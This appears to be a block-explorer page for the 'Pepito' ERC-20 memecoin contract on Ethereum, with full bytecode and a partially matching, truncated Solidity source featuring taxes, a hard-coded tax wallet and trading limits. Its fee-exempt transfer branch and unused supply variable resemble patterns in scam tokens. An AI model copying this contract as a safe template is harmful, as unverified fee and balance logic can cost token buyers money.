Forkchoice Ethereum Mainnet

Address Contract Partially Verified

Address 0xa9abdcdd7E9De53bC4240ecceea70710A04E46EE
Balance 0 ETH
Nonce 1
Code Size 13288 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

13288 bytes
0x608060405260043610610117575f3560e01c8063715018a61161009f578063a15e800d11610063578063a15e800d14610368578063a9059cbb1461037e578063bf474bed146103ba578063dd62ed3e146103e4578063f4293890146104205761011e565b8063715018a6146102aa5780637d1db4a5146102c05780638da5cb5b146102ea5780638f9a55c01461031457806395d89b411461033e5761011e565b806318160ddd116100e657806318160ddd146101c857806323b872dd146101f2578063293230b81461022e578063313ce5671461024457806370a082311461026e5761011e565b8063014667601461012257806306fdde0314610138578063095ea7b3146101625780630faee56f1461019e5761011e565b3661011e57005b5f80fd5b34801561012d575f80fd5b50610136610436565b005b348015610143575f80fd5b5061014c610514565b60405161015991906124be565b60405180910390f35b34801561016d575f80fd5b506101886004803603810190610183919061256f565b610551565b60405161019591906125c7565b60405180910390f35b3480156101a9575f80fd5b506101b261056e565b6040516101bf91906125ef565b60405180910390f35b3480156101d3575f80fd5b506101dc610574565b6040516101e991906125ef565b60405180910390f35b3480156101fd575f80fd5b5061021860048036038101906102139190612608565b610598565b60405161022591906125c7565b60405180910390f35b348015610239575f80fd5b5061024261066c565b005b34801561024f575f80fd5b5061025861091c565b6040516102659190612673565b60405180910390f35b348015610279575f80fd5b50610294600480360381019061028f919061268c565b610924565b6040516102a191906125ef565b60405180910390f35b3480156102b5575f80fd5b506102be61096a565b005b3480156102cb575f80fd5b506102d4610ab8565b6040516102e191906125ef565b60405180910390f35b3480156102f5575f80fd5b506102fe610abe565b60405161030b91906126c6565b60405180910390f35b34801561031f575f80fd5b50610328610ae5565b60405161033591906125ef565b60405180910390f35b348015610349575f80fd5b50610352610aeb565b60405161035f91906124be565b60405180910390f35b348015610373575f80fd5b5061037c610b28565b005b348015610389575f80fd5b506103a4600480360381019061039f919061256f565b610e7d565b6040516103b191906125c7565b60405180910390f35b3480156103c5575f80fd5b506103ce610e9a565b6040516103db91906125ef565b60405180910390f35b3480156103ef575f80fd5b5061040a600480360381019061040591906126df565b610ea0565b60405161041791906125ef565b60405180910390f35b34801561042b575f80fd5b50610434610f22565b005b61043e611098565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c190612767565b60405180910390fd5b5f196007819055505f196008819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf5f1960405161050a91906125ef565b60405180910390a1565b60606040518060400160405280600681526020017f50657069746f0000000000000000000000000000000000000000000000000000815250905090565b5f61056461055d611098565b848461109f565b6001905092915050565b600a5481565b5f6009600a61058391906128e1565b64563e280e80610593919061292b565b905090565b5f6105a4848484611262565b610661846105b0611098565b61065c8560405180606001604052806028815260200161338b6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610613611098565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611a9e9092919063ffffffff16565b61109f565b600190509392505050565b610674611098565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610700576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f790612767565b60405180910390fd5b60148054906101000a900460ff161561074e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610745906129b6565b60405180910390fd5b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306006545f8061079a610abe565b426040518863ffffffff1660e01b81526004016107bc96959493929190612a16565b60606040518083038185885af11580156107d8573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107fd9190612a89565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161089d929190612ad9565b6020604051808303815f875af11580156108b9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108dd9190612b2a565b506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff02191690831515021790555043600581905550565b5f6009905090565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610972611098565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f590612767565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60075481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60085481565b60606040518060400160405280600681526020017f50455049544f0000000000000000000000000000000000000000000000000000815250905090565b610b30611098565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb390612767565b60405180910390fd5b60148054906101000a900460ff1615610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c01906129b6565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ca73060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610c9291906128e1565b64563e280e80610ca2919061292b565b61109f565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d11573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d359190612b69565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dbb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ddf9190612b69565b6040518363ffffffff1660e01b8152600401610dfc929190612b94565b6020604051808303815f875af1158015610e18573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e3c9190612b69565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f610e90610e89611098565b8484611262565b6001905092915050565b60095481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610f2a611098565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fad90612767565b60405180910390fd5b60148054906101000a900460ff1615611004576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffb90612c05565b60405180910390fd5b5f4790505f811161104a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104190612c6d565b60405180910390fd5b611052610abe565b73ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611094573d5f803e3d5ffd5b5050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361110d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110490612cfb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361117b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117290612d89565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125591906125ef565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c790612e17565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361133e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133590612ea5565b60405180910390fd5b5f8111611380576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137790612f33565b60405180910390fd5b601460169054906101000a900460ff1615806113a85750601460159054906101000a900460ff165b15611539576113fd8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b0090919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061148e8160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b4990919063ffffffff16565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161152c91906125ef565b60405180910390a3611a99565b5f611542610abe565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156115b05750611580610abe565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a8a57600f54601254116115c857600b546115cc565b600d545b905060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611677575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561175a576007548211156116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b890612f9b565b60405180910390fd5b600854826116ce85610924565b6116d89190612fb9565b1115611719576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171090613036565b60405180910390fd5b4360036005546117299190612fb9565b11156117425761173883611ba6565b15611741575f80fd5b5b60125f81548092919061175490613054565b91905055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117fe575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561185c576008548261181085610924565b61181a9190612fb9565b111561185b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185290613036565b60405180910390fd5b5b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118e457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561190357601054601254116118fc57600c54611900565b600e545b90505b5f61190d30610924565b9050601460159054906101000a900460ff16158015611978575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156119905750601460169054906101000a900460ff165b801561199f5750601154601254115b80156119f2575060035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611a45575060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611a88576009548110611a7157611a70611a6b84611a6684600a54611bb7565b611bb7565b611bcf565b5b5f4790505f8110611a8657611a8547611e3a565b5b505b505b611a978484848488611ea2565b505b505050565b5f838311158290611ae5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611adc91906124be565b60405180910390fd5b505f8385611af3919061309b565b9050809150509392505050565b5f611b4183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a9e565b905092915050565b5f808284611b579190612fb9565b905083811015611b9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9390613118565b60405180910390fd5b8091505092915050565b5f80823b90505f8111915050919050565b5f818311611bc55782611bc7565b815b905092915050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611c0657611c05613136565b5b604051908082528060200260200182016040528015611c345781602001602082028036833780820191505090505b50905030815f81518110611c4b57611c4a613163565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611cef573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611d139190612b69565b81600181518110611d2757611d26613163565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d8d3060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109f565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611def959493929190613247565b5f604051808303815f87803b158015611e06575f80fd5b505af1158015611e18573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611e9e573d5f803e3d5ffd5b5050565b5f611ec96064611ebb868661216290919063ffffffff16565b6121d990919063ffffffff16565b90505f6001905060035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611f2457606490505b6064811015612031575f82111561202c57611f858260015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b4990919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161202391906125ef565b60405180910390a35b61214d565b6120a661205a606461204c888561216290919063ffffffff16565b6121d990919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b4990919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161214491906125ef565b60405180910390a35b61215987878785612222565b50505050505050565b5f808303612172575f90506121d3565b5f828461217f919061292b565b905082848261218e91906132cc565b146121ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c59061336c565b60405180910390fd5b809150505b92915050565b5f61221a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123d3565b905092915050565b6122728260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b0090919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506123156122c98284611b0090919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b4990919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6123b88486611b0090919063ffffffff16565b6040516123c591906125ef565b60405180910390a350505050565b5f8083118290612419576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161241091906124be565b60405180910390fd5b505f838561242791906132cc565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561246b578082015181840152602081019050612450565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61249082612434565b61249a818561243e565b93506124aa81856020860161244e565b6124b381612476565b840191505092915050565b5f6020820190508181035f8301526124d68184612486565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61250b826124e2565b9050919050565b61251b81612501565b8114612525575f80fd5b50565b5f8135905061253681612512565b92915050565b5f819050919050565b61254e8161253c565b8114612558575f80fd5b50565b5f8135905061256981612545565b92915050565b5f8060408385031215612585576125846124de565b5b5f61259285828601612528565b92505060206125a38582860161255b565b9150509250929050565b5f8115159050919050565b6125c1816125ad565b82525050565b5f6020820190506125da5f8301846125b8565b92915050565b6125e98161253c565b82525050565b5f6020820190506126025f8301846125e0565b92915050565b5f805f6060848603121561261f5761261e6124de565b5b5f61262c86828701612528565b935050602061263d86828701612528565b925050604061264e8682870161255b565b9150509250925092565b5f60ff82169050919050565b61266d81612658565b82525050565b5f6020820190506126865f830184612664565b92915050565b5f602082840312156126a1576126a06124de565b5b5f6126ae84828501612528565b91505092915050565b6126c081612501565b82525050565b5f6020820190506126d95f8301846126b7565b92915050565b5f80604083850312156126f5576126f46124de565b5b5f61270285828601612528565b925050602061271385828601612528565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61275160208361243e565b915061275c8261271d565b602082019050919050565b5f6020820190508181035f83015261277e81612745565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612807578086048111156127e3576127e2612785565b5b60018516156127f25780820291505b8081029050612800856127b2565b94506127c7565b94509492505050565b5f8261281f57600190506128da565b8161282c575f90506128da565b8160018114612842576002811461284c5761287b565b60019150506128da565b60ff84111561285e5761285d612785565b5b8360020a91508482111561287557612874612785565b5b506128da565b5060208310610133831016604e8410600b84101617156128b05782820a9050838111156128ab576128aa612785565b5b6128da565b6128bd84848460016127be565b925090508184048111156128d4576128d3612785565b5b81810290505b9392505050565b5f6128eb8261253c565b91506128f683612658565b92506129237fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612810565b905092915050565b5f6129358261253c565b91506129408361253c565b925082820261294e8161253c565b9150828204841483151761296557612964612785565b5b5092915050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6129a060178361243e565b91506129ab8261296c565b602082019050919050565b5f6020820190508181035f8301526129cd81612994565b9050919050565b5f819050919050565b5f819050919050565b5f612a006129fb6129f6846129d4565b6129dd565b61253c565b9050919050565b612a10816129e6565b82525050565b5f60c082019050612a295f8301896126b7565b612a3660208301886125e0565b612a436040830187612a07565b612a506060830186612a07565b612a5d60808301856126b7565b612a6a60a08301846125e0565b979650505050505050565b5f81519050612a8381612545565b92915050565b5f805f60608486031215612aa057612a9f6124de565b5b5f612aad86828701612a75565b9350506020612abe86828701612a75565b9250506040612acf86828701612a75565b9150509250925092565b5f604082019050612aec5f8301856126b7565b612af960208301846125e0565b9392505050565b612b09816125ad565b8114612b13575f80fd5b50565b5f81519050612b2481612b00565b92915050565b5f60208284031215612b3f57612b3e6124de565b5b5f612b4c84828501612b16565b91505092915050565b5f81519050612b6381612512565b92915050565b5f60208284031215612b7e57612b7d6124de565b5b5f612b8b84828501612b55565b91505092915050565b5f604082019050612ba75f8301856126b7565b612bb460208301846126b7565b9392505050565b7f54726164696e672068617320616c7265616479206265656e206f70656e6564005f82015250565b5f612bef601f8361243e565b9150612bfa82612bbb565b602082019050919050565b5f6020820190508181035f830152612c1c81612be3565b9050919050565b7f436f6e747261637420686173206e6f204554482062616c616e636500000000005f82015250565b5f612c57601b8361243e565b9150612c6282612c23565b602082019050919050565b5f6020820190508181035f830152612c8481612c4b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612ce560248361243e565b9150612cf082612c8b565b604082019050919050565b5f6020820190508181035f830152612d1281612cd9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612d7360228361243e565b9150612d7e82612d19565b604082019050919050565b5f6020820190508181035f830152612da081612d67565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612e0160258361243e565b9150612e0c82612da7565b604082019050919050565b5f6020820190508181035f830152612e2e81612df5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612e8f60238361243e565b9150612e9a82612e35565b604082019050919050565b5f6020820190508181035f830152612ebc81612e83565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612f1d60298361243e565b9150612f2882612ec3565b604082019050919050565b5f6020820190508181035f830152612f4a81612f11565b9050919050565b7f4578636565647320746865206d61785478416d6f756e742e00000000000000005f82015250565b5f612f8560188361243e565b9150612f9082612f51565b602082019050919050565b5f6020820190508181035f830152612fb281612f79565b9050919050565b5f612fc38261253c565b9150612fce8361253c565b9250828201905080821115612fe657612fe5612785565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f613020601a8361243e565b915061302b82612fec565b602082019050919050565b5f6020820190508181035f83015261304d81613014565b9050919050565b5f61305e8261253c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036130905761308f612785565b5b600182019050919050565b5f6130a58261253c565b91506130b08361253c565b92508282039050818111156130c8576130c7612785565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613102601b8361243e565b915061310d826130ce565b602082019050919050565b5f6020820190508181035f83015261312f816130f6565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6131c281612501565b82525050565b5f6131d383836131b9565b60208301905092915050565b5f602082019050919050565b5f6131f582613190565b6131ff818561319a565b935061320a836131aa565b805f5b8381101561323a57815161322188826131c8565b975061322c836131df565b92505060018101905061320d565b5085935050505092915050565b5f60a08201905061325a5f8301886125e0565b6132676020830187612a07565b818103604083015261327981866131eb565b905061328860608301856126b7565b61329560808301846125e0565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6132d68261253c565b91506132e18361253c565b9250826132f1576132f061329f565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f61335660218361243e565b9150613361826132fc565b604082019050919050565b5f6020820190508181035f8301526133838161334a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208fb714ce8da4ee7c1c508f57447f4b246917dfd955677a7626c08b0d9ff8a7d264736f6c63430008140033

Verified Source Code Partial Match

Compiler: v0.8.20+commit.a1b79de6 EVM: shanghai Optimization: No
pepito.sol 436 lines
// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract pepito is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint8 private constant _decimals = 9;
    string private constant _name = unicode"Pepito";
    string private constant _symbol = unicode"PEPITO";
    uint256 private constant _tTotal = 370_410_000_000 * 10 ** _decimals;
    uint256 private _rTotal = 350_410_000_000 * 10 ** _decimals;
    uint256 public _maxTxAmount = 7_408_200_000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 7_408_200_000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 150 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 7_408_200_000 * 10 ** _decimals;

    uint256 private _initialBuyTax = 10;
    uint256 private _initialSellTax = 30;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 41;
    uint256 private _reduceSellTaxAt = 51;
    uint256 private _preventSwapBefore = 41;
    uint256 private _buyCount = 0;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0xD6c54EaEE8DaB4D0E22823945cE245710dF4dc92);
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
